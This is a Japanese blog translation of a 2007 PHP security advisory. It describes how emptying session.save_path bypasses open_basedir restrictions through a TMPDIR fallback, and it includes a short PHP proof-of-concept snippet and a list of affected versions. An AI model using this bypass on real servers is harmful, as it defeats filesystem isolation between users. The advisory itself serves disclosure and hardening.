MOPB-36-2007:PHP session.save_path open_basedir Bypass Vulnerability

(Last Updated On: )

Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。

■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser

■PoCまたは攻撃コード
必要なし

■リファレンス
なし

■サマリ
filesセッションストレージモジュールが利用されている場合、空のsession.save_pathが設定されると、TMPDIR環境変数に設定されているディレクトリにフォールバックします。残念ながらこの自動フォールバック動作はopen_basedirチェックが行われた後に行われています。この為、open_basedirチェックをバイパス可能になっています。

■影響するバージョン
PHP 4.4.5未満、PHP 5.2.1未満

■詳細情報

この問題を確認するには、open_basedir設定を行い、以下のコード実行します。

<?php
ini_set(“session.save_path”, “/sessions/user2/”);
putenv(“TMPDIR=/sessions/user2/”);
ini_set(“session.save_path”, “”);
@session_start();
?>

最初のini_set()関数はパスがopen_basedir制限に違反するためエラーとなります。次のini_set()関数は成功し、TMPDIR環境変数に設定されたパスにセッションデータファイルが作成されます。

■備考
我々は決してopen_basedir設定に頼らないことをお勧めします。open_basedir制限はinclude脆弱性のインパクトを減らす良い方法だと私たちはとらえています。

攻撃者がPHPコードを実行できたその時点でPHPインタープリタが課している全ての制限をバイパスするために必要な欠陥がPHPにあることを、この時点では、MOPBが明らかにしたことを理解していただけると思います。
(訳注:safe_modeには欠陥が多く見つかるから廃止しよう、ということになっていますが「open_basedirも同じである」とする主張に対する反論について述べていると思われます。Stefanさんも私も同じですが、open_basedirは必ず設定すべきと考え、open_basedir設定自体はセキュリティ上有用だと考えています)

投稿者: yohgaki